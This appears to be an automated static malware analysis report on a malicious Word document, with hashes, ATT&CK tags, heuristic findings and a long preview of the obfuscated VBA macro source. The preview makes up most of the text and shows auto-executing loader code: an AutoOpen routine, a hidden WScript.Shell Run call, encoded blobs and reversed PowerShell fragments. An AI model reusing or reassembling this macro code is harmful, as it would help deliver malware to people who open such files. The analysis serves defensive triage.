Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 def313d68a3deaee…

MALICIOUS

Office (OLE)

168.5 KB Created: 2018-03-15 17:41:00 Authoring application: Microsoft Office Word First seen: 2019-08-04
MD5: 34faf0e34c1f6a7afa74cfc2466665c1 SHA-1: a08b9ebf63dce68d59bc52aee0882f31b325563d SHA-256: def313d68a3deaee793dedef9e9f378a4179ea204d972ae95a7f191c7ba52b3d
250 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. Heuristics indicate the use of WScript.Shell and CreateObject, which are commonly used to execute commands or download and run additional payloads. The AutoOpen macro further suggests an immediate execution attempt upon opening the document. No specific family could be identified due to obfuscation.

Heuristics 9

  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
          End Select
CreateObject("WScript.Shell").Run OEkcq + wTIVSYSCRPdL + XlNhVXRVHt + XdmZdGum, vbHide
Select Case Obbvj
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
          End Select
CreateObject("WScript.Shell").Run OEkcq + wTIVSYSCRPdL + XlNhVXRVHt + XdmZdGum, vbHide
Select Case Obbvj
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Function
Sub AutoOpen()
On Error Resume Next
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 56332 bytes
SHA-256: ac99aa1ebf5a9e302200d61a10ec760991c8c6eba723a5440494809b88b0fa82
Detection
ClamAV: No threats found
Obfuscation or payload: likely
461 of 750 identifiers look randomly generated (e.g. '$11XH20rS8nqlBztAwNAADAjBQZAIGAiBwNAEGAz') — consistent with name-mangling obfuscation. Carved artifact contains 22 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "SuQSbHhKKUJXm"
Function GXHpTbZVIEkw()
On Error Resume Next
Select Case PmsXz
         Case 94872
            zRqrdz = Fix(3853)
            MdBnfq = Int(77438)
         Case 63151
            KROan = PjuiN
            Wjzawu = ChrW(ETbPbv)
      End Select
oYzzoAb = QcHoc + wTzOst("vpBdv8QYAUGA1AQOAMDAyAAOAQDAyAQYAcDAhBgMAcDA2AQZAMDAwAgNAIGAiBQOAMGA2AAZAkDA5AQOAUGAxAANAIGA2AANAQDAhBgNAgDA1AAMAMDAzAAMAwHA9AQPAEEA4AgUAUGAUBAbAQGAyBwSAsCAaBAMAcDAxBwTAQFAzAwKAIHA3BANAcDA8Hcav!<h7", 9, 182)
Select Case PmsXz
         Case 94872
            zRqrdz = Fix(3853)
            MdBnfq = Int(77438)
         Case 63151
            KROan = PjuiN
            Wjzawu = ChrW(ETbPbv)
      End Select
Select Case qGMAPS
         Case 91381
            SWYCul = Fix(16831)
            ZlczB = Int(75384)
         Case 66190
            hRMXY = XvIwdW
            YwTwwb = ChrW(nLvJIH)
      End Select
JnaOuY = BwjSWaF + wTzOst("LZ4wjt#AdVzC zmN(9nvDA4AAMAkDA3AAOAYDAyAAOAgDA0AQYAIDA0AQMAEDAhBwYAYGA4AwMAYGAkBQOAUDAxAgMAQGAiBAZAEGA2AwNAIGAxAQNAkDAxAQZ2<R vIo!s!", 11, 102)
Select Case qGMAPS
         Case 91381
            SWYCul = Fix(16831)
            ZlczB = Int(75384)
         Case 66190
            hRMXY = XvIwdW
            YwTwwb = ChrW(nLvJIH)
      End Select
Select Case MjzTN
         Case 36175
            HzjWS = Fix(39562)
            cXUBZU = Int(12280)
         Case 62259
            DranvX = ufTtt
            AuvTq = ChrW(OkMwLH)
      End Select
BIGWlSE = GvbfD + wTzOst("VdwrlBAZAYGA4AgNAIGA1AwMAUGAjBwMAgDA0AwNAcDAzAgYAgDAxAwYAcDA2AAOAEGAxAQYAEDAwAAOAADA4AwYiI13$Tvt%v(V", 13, 84)
Select Case MjzTN
         Case 36175
            HzjWS = Fix(39562)
            cXUBZU = Int(12280)
         Case 62259
            DranvX = ufTtt
            AuvTq = ChrW(OkMwLH)
      End Select
Select Case qAQGm
         Case 59210
            XEqTKk = Fix(31955)
            tFkYvG = Int(80523)
         Case 7837
            uzQJVJ = Kdflz
            LRMPq = ChrW(VHzWm)
      End Select
bkWwV = IpRwvO + wTzOst("#$<lB4VM#QGAiBQNAEDA4AwYAEDAyAgZAEGA2AwMAkDA0AQMAQGA5AgNAADA4AgYAIGA5AAZAEGAwAQZAQDA4AQNAMGA4AAOAEDA3Aw0n4Z7KBm7P", 11, 93)
Select Case qAQGm
         Case 59210
            XEqTKk = Fix(31955)
            tFkYvG = Int(80523)
         Case 7837
            uzQJVJ = Kdflz
            LRMPq = ChrW(VHzWm)
      End Select
Select Case KzBbcW
         Case 41143
            CbQRUU = Fix(23911)
            dfLEu = Int(69729)
         Case 5399
            DCIJEJ = YaKQAz
            MfJOS = ChrW(nvQzVH)
      End Select
HQrJZ = RTFnYDB + wTzOst("ai2AYDA0AgNAEGAxAwMAEGAxAANAcDAjBgZAUDAyAAMAYGAiBQMAYDA0AQMAEDAjBAMAYDAiBQYAgDA5AwMAMDA5AgMAIDA3AAMAgDAmBgYAMDA1AQOAEDA2AwMAkDA0AgMAMGA5AAMAIDA1AAMAMGAlBgZAIDAhBgMAkDA1AwYAEDA4AAMAcDAxAgm<laZrKAq$<swzCEpB7", 20, 183)
Select Case KzBbcW
         Case 41143
            CbQRUU = Fix(23911)
            dfLEu = Int(69729)
         Case 5399
            DCIJEJ = YaKQAz
            MfJOS = ChrW(nvQzVH)
      End Select
Select Case KhCkc
         Case 58358
            qWFPZC = Fix(39694)
            QTWGN = Int(28058)
         Case 30570
            jhATVI = ECjLXi
            CXtlL = ChrW(jSDhGt)
      End Select
fbwrwh = IPUFazT + wTzOst("mrh1Qp9IrvNEi<%DA3AAMAQGAjBwMAkDAwAQNAcDA2AQYAQGA1A<N1<z", 6, 36)
Select Case KhCkc
         Case 58358
            qWFPZC = Fix(39694)
            QTWGN = Int(28058)
         Case 30570
            jhATVI = ECjLXi
            CXtlL = ChrW(jSDhGt)
      End Select
Select Case SGpKci
         Case 31338
            VbsYY = Fix(95510)
            IYdHr = Int(89574)
         Case 12112
            hWhDc = zwFDU
            KFOUqF = ChrW(ivUcud)
      End Select
QmwIuHUtzG = ZhvjEu + wTzOst("X3tz)Hvp<#dqv@BgM5435a05061b3143240f3476111d29467'($(RTSBOtGNIrT!", 2, 50)
Select Case SGpKci
         Case 31338
            VbsYY = Fix(95510)
            IYdHr = Int(89574)
         Case 12112
            hWhDc = zwFDU
            KFOUqF = ChrW(ivUcud)
      End Select
Select Case BqPkka
         Case 6560
            mbKIza = Fix(57204)
            mzcrb = Int(69444)
         Case 47410
            iCNjLp = SkiRt
            fUcPH = ChrW(AGzPR)
      End Select
sdnKzjLIvz = OaCkztL + wTzOst("Pndf!fB7zWfNnCHFIHFGAzAQZAgDAmBgZAYDA3AQYAQGAlBwNAADA3AANAQGAiBAMAMDAxAgMAIDA1AwNAQDA2AgNAYDAjBAMAMGA3sZik!w6I6tYWdp<EQSEs", 21, 83)
Select Case BqPkka
         Case 6560
            mbKIza = Fix(57204)
            mzcrb = Int(69444)
         Case 47410
            iCNjLp = SkiRt
            fUcPH = ChrW(AGzPR)
      End Select
Select Case jbwoWM
         Case 77451
            ziKbp = Fix(70520)
            uFfBAz = Int(57579)
         Case 11291
            FqmzJK = FuirN
            NNZSz = ChrW(GJWwN)
      End Select
dqAzEpsKcU = zvizA + wTzOst("YrC9A0YAYGA3AQNAYGAxAQYAMGA4AAOAYGAkBAZAEDA3AwYAEGA2AANAIDA2AQNAQGA1AQNAUGA0AQYAEDAiBQNAMDA2AAOAMDA0AAOAMGA5AgMAQDAhBwMAUDA1AQZAMDAwAgMAIGA1AwNAIGAzAwNAcDAyAQZAgDA9mEI6Rj", 8, 157)
Select Case jbwoWM
         Case 77451
            ziKbp = Fix(70520)
            uFfBAz = Int(57579)
         Case 11291
            FqmzJK = FuirN
            NNZSz = ChrW(GJWwN)
      End Select
Select Case UTDhdd
         Case 67087
            wOzTj = Fix(40903)
            nWtipB = Int(87611)
         Case 75872
            LcqnD = OuqjQU
            iwIXmS = ChrW(uczBOm)
      End Select
zXKiTqXRNh = wMZVZjF + wTzOst("#92Mts3G8R(A3z<L%RSspBi7Npd.6<6sBcYDA2AwMAYGA4AAMAkDA3AwNAEGAmBQOAUDAxAANAEDA3AQOAcDA5AQZAUDAzAwYAEGAjBgYAADAiBQMAYDAwAAOAkDAwAAOAADA4AwYAcDAhBwMAIDAhBQNAEDAyAANAYGA4AQMAADAxAQYAIGAwAgZAADA1A[zJL", 5, 157)
Select Case UTDhdd
         Case 67087
            wOzTj = Fix(40903)
            nWtipB = Int(87611)
         Case 75872
            LcqnD = OuqjQU
            iwIXmS = ChrW(uczBOm)
      End Select
Select Case UGrSU
         Case 78910
            IAZSt = Fix(82831)
            IWoGjc = Int(90576)
         Case 13225
            jzwjww = VOTcfT
            jjhQa = ChrW(RfdPVB)
      End Select
ZlCjIVWj = znkrbf + wTzOst("A7WlHQQcDAmBgMAEDA1AQNAcDAmBQNAADA2AwYAgDAkBwYAkDAhNi$wP<#3v[BvQ5zI8Hn", 20, 44)
Select Case UGrSU
         Case 78910
            IAZSt = Fix(82831)
            IWoGjc = Int(90576)
         Case 13225
            jzwjww = VOTcfT
            jjhQa = ChrW(RfdPVB)
      End Select
Select Case ZkjYA
         Case 4539
            RhltOE = Fix(38528)
            acQnbo = Int(3857)
         Case 85565
            wPcIa = hnYkUL
            kLSLaL = ChrW(fpCqi)
      End Select
zlTdLMdp = RXYGNN + wTzOst("87lIm9Nb2Mw.G8h[DzwNAQDA0AANAUDA3AwYAADAxAQMAUDAkBAZAcDA3AQOAkDAwAAZAkDAjBgNAMGAyAgNAgDAzAAZAMGAlBQZAIDAyAQYAYGAjBwYAIDAwAAMAEGAlBgZAYDA2AgZAMGA1AAZAYGAyAgYAUGAhBQMAUDAjBwNAgDA1AQMAcDAzAwYAMDAwAwMAMGA2AgYAUDAiBgMAcDAmjS$dT0ajYj", 11, 199)
Select Case ZkjYA
         Case 4539
            RhltOE = Fix(38528)
            acQnbo = Int(3857)
         Case 85565
            wPcIa = hnYkUL
            kLSLaL = ChrW(fpCqi)
      End Select
Select Case iYHJj
         Case 87449
            hIGsE = Fix(81172)
            HbnSY = Int(85908)
         Case 6323
            Qhofw = CKAYj
            WXVOlU = ChrW(ZGrTA)
      End Select
HJpMzjHpPI = ipJZi + wTzOst("V#wwpjzAgYAcDAiBgZAkDAjBANAUGAiBQMAEGAyAQMAUDA1AgNAUDAyAgNAIDA5AAZAUGAmBQOAEaG#))0WTT#1VlB8!FCh<N5DTBK6Mn", 30, 70)
Select Case iYHJj
         Case 87449
            hIGsE = Fix(81172)
            HbnSY = Int(85908)
         Case 6323
            Qhofw = CKAYj
            WXVOlU = ChrW(ZGrTA)
      End Select
Select Case VKbjUk
         Case 72074
            uizcsK = Fix(40513)
            HbWXi = Int(34628)
         Case 38136
            lwcCKf = ibCAQ
            ijwCtX = ChrW(PmAwX)
      End Select
zoPAujVQSL = EQapjdL + wTzOst("J6r2IJ$dqJNCMMqtRE%#vniGAmBQYAkDAhBQNAEDAxAwNAEDAwAQMAYDAkBQMAUGAwAAMAQGAzAgMAMDAjBQZAUGA5AQZAQDA2AQYAMGAwAwNAcDA3AgNAEDA5AgZAMDAjBwMAEGAiBwNAMDA.%z5FEN", 8, 122)
Select Case VKbjUk
         Case 72074
            uizcsK = Fix(40513)
            HbWXi = Int(34628)
         Case 38136
            lwcCKf = ibCAQ
            ijwCtX = ChrW(PmAwX)
      End Select
Select Case bOXzo
         Case 23129
            DKLTIb = Fix(71235)
            ilBqO = Int(55113)
         Case 30110
            zZjQSK = XAEEI
            TKaiw = ChrW(OfDlE)
      End Select
iwKARYdjYsi = jjNsMD + wTzOst("ojIUAMAHEa1fiCTp3z[97$9InZi", 21, 3)
Select Case bOXzo
         Case 23129
            DKLTIb = Fix(71235)
            ilBqO = Int(55113)
         Case 30110
            zZjQSK = XAEEI
            TKaiw = ChrW(OfDlE)
      End Select
Select Case cGYQBX
         Case 6773
            QFAwA = Fix(38696)
            jwCGw = Int(28691)
         Case 82312
            OStKO = EMtplu
            vJtvvY = ChrW(KXGqzh)
      End Select
zvRqizP = tjVjK + wTzOst("<VB2QfwdGk<KAl3f(jSGyNpVwHpipfnQm37Q3!t", 19, 1)
Select Case cGYQBX
         Case 6773
            QFAwA = Fix(38696)
            jwCGw = Int(28691)
         Case 82312
            OStKO = EMtplu
            vJtvvY = ChrW(KXGqzh)
      End Select
Select Case pQcwA
         Case 48883
            DKjnBL = Fix(13566)
            tCLTQ = Int(66403)
         Case 35641
            ShUZk = GUbRhJ
            GGrUY = ChrW(AElqwd)
      End Select
AdndAQb = bkCOjl + wTzOst("(Vomz8rH[9vtY5J#CYJJ)) )) )36,73,481,322,151,831,891,581,891,961,03,031,53,461,681,85  ek-  GnIrTSERuCEs-OTtREVnOc | '==AA2AgNA!CNw!.<@Nw73wEI", 16, 107)
Select Case pQcwA
         Case 48883
            DKjnBL = Fix(13566)
            tCLTQ = Int(66403)
         Case 35641
            ShUZk = GUbRhJ
            GGrUY = ChrW(AElqwd)
      End Select
Select Case Awzas
         Case 54247
            WdDDvq = Fix(85870)
            LoBiV = Int(99808)
         Case 58533
            lKusl = dvXwW
            kYPNlR = ChrW(ZtjjZC)
      End Select
fjEoDGGSj = JjkTjn + wTzOst("3QlAWSMAkDA1AwNAIGAhBQMAgDA3AAZAcDA3AQZAMDA4AgNAcDAxAgMAMDA0AgYAIDAmBAZAcDA4AANAADAiBQZAYGA4AQYAQDAzAAOAUDAlBANAkDA0AgYAIDAhBAMAc$DYvv", 6, 123)
Select Case Awzas
         Case 54247
            WdDDvq = Fix(85870)
            LoBiV = Int(99808)
         Case 58533
            lKusl = dvXwW
            kYPNlR = ChrW(ZtjjZC)
      End Select
Select Case LWTqA
         Case 94270
            nioGip = Fix(15568)
            vjinv = Int(51423)
         Case 19972
            NpkvAh = TShRCS
            QYBPo = ChrW(tVYOf)
      End Select
QiWuMDYw = WWMPpZV + wTzOst("vJphjmqAAMAEDAmBwYAEDA4AQYAEDAwAAMAADAkBgMAMGAxAgNAgDAiBAMAEGA3AgYAVm33)8Mz", 9, 60)
Select Case LWTqA
         Case 94270
            nioGip = Fix(15568)
            vjinv = Int(51423)
         Case 19972
            NpkvAh = TShRCS
            QYBPo = ChrW(tVYOf)
      End Select
Select Case rinNzj
         Case 83518
            ASAJFL = Fix(64454)
            aWHjE = Int(15448)
         Case 44459
            lMzor = diJLXi
            UBIidi = ChrW(tsmii)
      End Select
pwAzWiMS = KwvPG + wTzOst("SAKVBIR0ijAk6P]mO2ifpBwMAUGA5AwMAkDAmBAOAMGAwAANAMDAyAgZAgDAiBgMAUGA0AAMAkDA5AwMAkDAhBgMAcDAmBAOAQGAyAQYAUDA5AgMAQDAiBgYAQDAxAQMAEDAyAANAgDA3AQavM", 4, 122)
Select Case rinNzj
         Case 83518
            ASAJFL = Fix(64454)
            aWHjE = Int(15448)
         Case 44459
            lMzor = diJLXi
            UBIidi = ChrW(tsmii)
      End Select
Select Case VkikS
         Case 40742
            VZYZI = Fix(96249)
            BkbpUa = Int(16492)
         Case 50946
            jqGLk = nazOc
            TBrVAi = ChrW(ijsdDK)
      End Select
zWrSKAf = zwbwjj + wTzOst("z0d@%FNAYGAkBwMAMDAmBgMAADAhBwMAQGA0AgZAEGAzAANAcDA0AgMAYGAjBgYAkDAiBgZAQGA4AwNAIGAhBgZAUGAiBAMAkDA3AAZAUGAlBgMAQDAwAANAQDA0AgMAEGAyAANAMDAwAwYAkDAjBQOAUDA0AQNAUGAlBwYAMGA5AQYAIGAiBgYArqzN83Czd", 10, 178)
Select Case VkikS
         Case 40742
            VZYZI = Fix(96249)
            BkbpUa = Int(16492)
         Case 50946
            jqGLk = nazOc
            TBrVAi = ChrW(ijsdDK)
      End Select
Select Case JQhFjW
         Case 16154
            FdRqZ = Fix(931)
            suLKYY = Int(55381)
         Case 54283
            TbWwqi = JwpJQ
            jmEQwn = ChrW(imjHV)
      End Select
ownJZnjCmN = zUOSlNv + wTzOst("AkSIBzN#M$25ZAUDAiBwNAQGAwAQOAQDA2AQNAEDAwAAOAgDAkBQMAcDAmBgMAMDAkBQNAcDAhBgMAgDAjBANAgDAmBAMAEDAiBwMAUDAxAQYAIGAiBQZAQGAzAgMAQGA5AgZAQDA2AgZAYGAkBgYAIGA4AgMAADAhBQZAMDAiBQ<(KahzC", 8, 160)
Select Case JQhFjW
         Case 16154
            FdRqZ = Fix(931)
            suLKYY = Int(55381)
         Case 54283
            TbWwqi = JwpJQ
            jmEQwn = ChrW(imjHV)
      End Select
Select Case RVwnWL
         Case 64067
            hwJJP = Fix(79226)
            LfswT = Int(40314)
         Case 52265
            DdSGnd = BwPqm
            vLIIB = ChrW(aTtGk)
      End Select
inHMOw = DjJMI + wTzOst("FNQQFAMGA0AQOAkDA5AAMAQDA1AQOAIGA0AwNAADA1AAZAkDA1AQOAcDAhBQZAgDAmBgMAUDAiBgMAMGAyAgMAgDA4AAZAQGAkBAOAYDA4AgNAUGAlBwNAgDAwAQMAUDA4AwMAEGA1AgNAADAzAwYAQGAjBQMAgDAhBwNAkDAyAQYAQGAxAQMAYGAzAAR3923%@N)G<vT1w", 16, 183)
Select Case RVwnWL
         Case 64067
            hwJJP = Fix(79226)
            LfswT = Int(40314)
         Case 52265
            DdSGnd = BwPqm
            vLIIB = ChrW(aTtGk)
      End Select
Select Case UdiXn
         Case 40730
            KMNMjl = Fix(733)
            jYqij = Int(86372)
         Case 18652
            qaKoQU = kddqSv
            sjBrLl = ChrW(iUKwd)
      End Select
MGVvXViquQc = ZOPVN + wTzOst("(zH(9ojfddAw3BMYn2vQcAr8f9C%IFfI.$)q1", 26, 2)
Select Case UdiXn
         Case 40730
            KMNMjl = Fix(733)
            jYqij = Int(86372)
         Case 18652
            qaKoQU = kddqSv
            sjBrLl = ChrW(iUKwd)
      End Select
Select Case KaqlwC
         Case 89824
            vcXoEr = Fix(16620)
            RnKIZC = Int(17290)
         Case 39038
            MElKmr = jEMVAd
            cEczh = ChrW(RDDVw)
      End Select
KifqIbNuRHV = fGwRO + wTzOst("DD(iiI2SeRucEs::]laHsraM.SECIVREsporetnI.EM6wP1$C%", 8, 36)
Select Case KaqlwC
         Case 89824
            vcXoEr = Fix(16620)
            RnKIZC = Int(17290)
         Case 39038
            MElKmr = jEMVAd
            cEczh = ChrW(RDDVw)
      End Select
Select Case CGQZP
         Case 79159
            dKVUc = Fix(46532)
            ZtsDYo = Int(75302)
         Case 6311
            IQpjX = CnzATS
            CjFRLa = ChrW(WwdFBU)
      End Select
nqEjqZPk = iLrJI + wTzOst("I)vPDA0AQZAY28<.(opfhYjFFVn.", 17, 8)
Select Case CGQZP
         Case 79159
            dKVUc = Fix(46532)
            ZtsDYo = Int(75302)
         Case 6311
            IQpjX = CnzATS
            CjFRLa = ChrW(WwdFBU)
      End Select
Select Case rdKUHL
         Case 95548
            baKioX = Fix(47679)
            cPwsUt = Int(79211)
         Case 99526
            AcdzXq = Wtbuk
            tJuBTp = ChrW(hQBsd)
      End Select
oqIfA = ShvhTzj + wTzOst("jJjmkAAMAUDAhBgZAADA5AgMAUDA0AQYAIGA4AANAkDAiBQMAgDAkBQYAQGA2AQMAgDAhBgYAEDAiBAZAUDA0AAOAcDAjBQYAgDA1AwNAMDAzAQZAUDAjBAMAYDAmBQNAMGAzAQMAgDA5AQOAQDAyAANAUGAkBgZAMGAhBQOAEGAhBQOAUDA2AwYAQGAmBwMAk3UZQo9G)#p9d", 13, 188)
Select Case rdKUHL
         Case 95548
            baKioX = Fix(47679)
            cPwsUt = Int(79211)
         Case 99526
            AcdzXq = Wtbuk
            tJuBTp = ChrW(hQBsd)
      End Select
Select Case Ljiap
         Case 92508
            ZUbhl = Fix(71186)
            rYsPi = Int(1343)
         Case 88149
            CfrSPI = uTmVh
            IBbIU = ChrW(mqGzz)
      End Select
hjicX = ijYOwo + wTzOst("(drYM83ZAEGAkBQMAgDAjBQZAYDAmBwYAcDA4AwYAEDAzAQZAUGA4AQNAUDA3AQYAEGAhBwMAMGAzAwNAYDAmBgMAIGA5AwYAQDAwAgMAEGAxAgMAQW8s$0z%vE", 10, 107)
Select Case Ljiap
         Case 92508
            ZUbhl = Fix(71186)
            rYsPi = Int(1343)
         Case 88149
            CfrSPI = uTmVh
            IBbIU = ChrW(mqGzz)
      End Select
Select Case VBMjC
         Case 7544
            iYFczl = Fix(77765)
            QQzHT = Int(75538)
         Case 85248
            faiZS = qmrGqY
            KlkMno = ChrW(wBIKZG)
      End Select
zwzKliRLaz = FOsvcr + wTzOst("[<Ck#f7Hj%I[QzUIGA2AQNAMGAmBgNAEDAjBQNAIGAhBAZAMGA5AAZAYDAiBwMAYGAmBgNAMGAmBAMAIGAxAAZAcDA1AAMAQDA1AgMAQDAxAgNAMGAmBQZAYDAkBwYAMDAkBwNAcDA3AQYAIGA2AgMAMDA1AAZAYGA0AAZAUDAyAwNAMGAN(7vlQo8DCnBop5j", 17, 163)
Select Case VBMjC
         Case 7544
            iYFczl = Fix(77765)
            QQzHT = Int(75538)
         Case 85248
            faiZS = qmrGqY
            KlkMno = ChrW(wBIKZG)
      End Select
Select Case UwNzkC
         Case 28363
            OPAKf = Fix(40126)
            tAYscL = Int(24660)
         Case 35112
            EPYXpd = ZjLwzh
            TIZANF = ChrW(tutnGB)
      End Select
RLOisQdf = jcjob + wTzOst("R2poEpQPs1sdBI8hRpAZsNEGA4AwMAUGAmBgNAgDAjBQOAgDAlBAMAYDA1AANAYDA3AwYAIGAmBANAQDA5AANAcDA4AANAYDAiBwMAADAxAwYAUGAiBgNAIDA0AANAgDA2AAMAIDAlBwMAMGAlBgYAgDAzAwMAMGA1AQZAQGAmBgMAEGAwAQMAIGA2AwMAUDA5AQYAnac", 4, 176)
Select Case UwNzkC
         Case 28363
            OPAKf = Fix(40126)
            tAYscL = Int(24660)
         Case 35112
            EPYXpd = ZjLwzh
            TIZANF = ChrW(tutnGB)
      End Select
Select Case prEdN
         Case 32891
            kCioGS = Fix(83882)
            MsAaY = Int(16405)
         Case 67316
            QnjNo = ACIwLX
            EiFozT = ChrW(NSIEC)
      End Select
jqRSnTNuzB = GBkHfjs + wTzOst("2n0iM4CBiOJ-]2,11,3[EmaN.)'*rdm*' elBairaV(( .or[ijhr3U@vdh3%9Am3#MC", 23, 38)
Select Case prEdN
         Case 32891
            kCioGS = Fix(83882)
            MsAaY = Int(16405)
         Case 67316
            QnjNo = ACIwLX
            EiFozT = ChrW(NSIEC)
      End Select
Select Case KPfYA
         Case 70117
            rzKdFk = Fix(44675)
            QhAQi = Int(43971)
         Case 24500
            VJEjpT = kRTTV
            ARAif = ChrW(wifzHz)
      End Select
aGEHpJEEFn = szzST + wTzOst("pihkDWMzn#rjTz3w%f.jifttRBb8i3%6sIhzNZAkDAiBwNAIDAyAQNAgDA1AQNAMGA3AQZAIGA1AwNAIGA0AQOAIGA0AgYAQDAyAgZAIDA2AQYAMGA3AQMAcDAjBAMAQDA4AwNAEGAjBwYAIDA2AQYAQDAkBQYAYDA1AAMAIDA2AgYAEDA1AQMAgDA1AQZAMDA4AgNAEDA2AgYAIGA3AAOAgDA0AgB0", 3, 184)
Select Case KPfYA
         Case 70117
            rzKdFk = Fix(44675)
            QhAQi = Int(43971)
         Case 24500
            VJEjpT = kRTTV
            ARAif = ChrW(wifzHz)
      End Select
Select Case EZsLMc
         Case 89531
            sGjSZ = Fix(15133)
            jtctj = Int(13033)
         Case 19428
            kkZVZ = HivbCr
            VfvQoi = ChrW(Xpqqc)
      End Select
Kialzitam = wajhRz + wTzOst("<j[4ktNnzY95WHMwYzMAYGAlBAOAUDA0AwNAMDAyAANAIDAmBANAQDAyAAMAcDAxAQZAQGAxAQOAADA3AwNAUDA2AwYAUGA5AAZAADAwAwNAADAmBgZAMDA4AgMAUDAyAANAQDA3AgZAYGAwAQMwFd$BRw#ra5[n#dA", 17, 129)
Select Case EZsLMc
         Case 89531
            sGjSZ = Fix(15133)
            jtctj = Int(13033)
         Case 19428
            kkZVZ = HivbCr
            VfvQoi = ChrW(Xpqqc)
      End Select
Select Case zXLIvi
         Case 72192
            PwjRi = Fix(43797)
            SUPti = Int(4672)
         Case 76763
            siAnE = rTJfKm
            jOwUBB = ChrW(kXokL)
      End Select
QvKhP = FuaHVj + wTzOst("!n4zhL$iwYKPIBHPQ6qhZ]LD#tITnur[(EKovNI.)EMaN.]3[)(srebMeMTeG.]LAHsRAM.SEciVrESPOrEtNi.emItnur[(::]lahsRaM.seCivresPOreTNI.emiTnur[ (()''N[FBjF", 6, 112)
Select Case zXLIvi
         Case 72192
            PwjRi = Fix(43797)
            SUPti = Int(4672)
         Case 76763
            siAnE = rTJfKm
            jOwUBB = ChrW(kXokL)
      End Select
Select Case BjDtft
         Case 93939
            ALimjO = Fix(68690)
            TlaTu = Int(54176)
         Case 71074
            bQQwu = SKqAi
            rUOIY = ChrW(kmhbJv)
      End Select
jwVXlnoVF = kTLOcp + wTzOst(".qq7vMAT(wNlFAZNAYGAiBwNAYGA2AgNAQDAiBANAMDAkBQMAQGA5AgZAQDA5AQMAADA2AAOAgDA5AANAcDAzAgYAUDA1AQZAMDA1AAZAEGAjBQOAEDAzAQNAMGAkBgZAUDAiBQMAQGAxAAMAYGAjBwNAADAkBwNAMDALXNZo3RfdC$(d9T0[", 18, 149)
Select Case BjDtft
         Case 93939
            ALimjO = Fix(68690)
            TlaTu = Int(54176)
         Case 71074
            bQQwu = SKqAi
            rUOIY = ChrW(kmhbJv)
      End Select
Select Case ipLbNf
         Case 33624
            BEdcD = Fix(26835)
            hzstOC = Int(60552)
         Case 3795
            VNNOvt = VHuiT
            linul = ChrW(qBzwDY)
      End Select
auHQifaXtTm = MtHPAzZ + wTzOst("mVfIoKB8wjZm8MvpN5w%iZQ<kqfI$((XBQOAEGAxAAOAUGAhBwYAEDA5AQOAMDAzAwMAUDAyAgYAYGA1AQMAMDA4AQZAIGAlBwNAEDAkBAZAQDA5AgZAIGA4AANAYDAwAgNAMGA5AQZAcDA4AANAADA0AgZAUGAkBgZAUGA5AgMAADAiBwNAADAkBQMAIDA0AAZAADAkBwNAMDAzAwYAMGA2AwNAQjom", 4, 189)
Select Case ipLbNf
         Case 33624
            BEdcD = Fix(26835)
            hzstOC = Int(60552)
         Case 3795
            VNNOvt = VHuiT
            linul = ChrW(qBzwDY)
      End Select
Select Case hDdrHo
         Case 40820
            bwPBcB = Fix(7698)
            trNtE = Int(16763)
         Case 71974
            LwJUtZ = uMDih
            foSvl = ChrW(KLJzjq)
      End Select
VlDjHoDnzc = lIFjbw + wTzOst("kI7IIwI$85lBgMAMGAyAwYAUGAjBgYAkDAxAAOAQDA5AwNAYDAjBQOAMGAzAQMAEGA4AAZAUGAwAgMAEGAjBQYAYGA3AQNAkDA0AQNAcDA2AAOAADA5AANAEGAiBgMAYDA4Agw!iZHA", 7, 123)
Select Case hDdrHo
         Case 40820
            bwPBcB = Fix(7698)
            trNtE = Int(16763)
         Case 71974
            LwJUtZ = uMDih
            foSvl = ChrW(KLJzjq)
      End Select
Select Case caVpKS
         Case 50641
            jwzvf = Fix(10314)
            pwnbNm = Int(76831)
         Case 65557
            dTJWc = VFUHoS
            jUvuJL = ChrW(uUPaE)
      End Select
ZLLlZdRdLt = HiaTcYS + wTzOst("$11XH20rS8nqlBztAwNAADAjBQZAIGAiBwNAEGAzAgMAYDAjBwMAEGA2AwNAkDAmBwYAMGAyAAMAgDAyAgNAYGAlBwNAgDAiBQNAIGAyAgNAcDA0AYkYGwARvM0A7#9%oR80f7dH", 24, 97)
Select Case caVpKS
         Case 50641
            jwzvf = Fix(10314)
            pwnbNm = Int(76831)
         Case 65557
            dTJWc = VFUHoS
            jUvuJL = ChrW(uUPaE)
      End Select
Select Case MCQzpR
         Case 83912
            oHuzz = Fix(19371)
            XvFVNY = Int(75817)
         Case 32430
            tLuzbu = VcakGX
            hOAiTr = ChrW(jpWJY)
      End Select
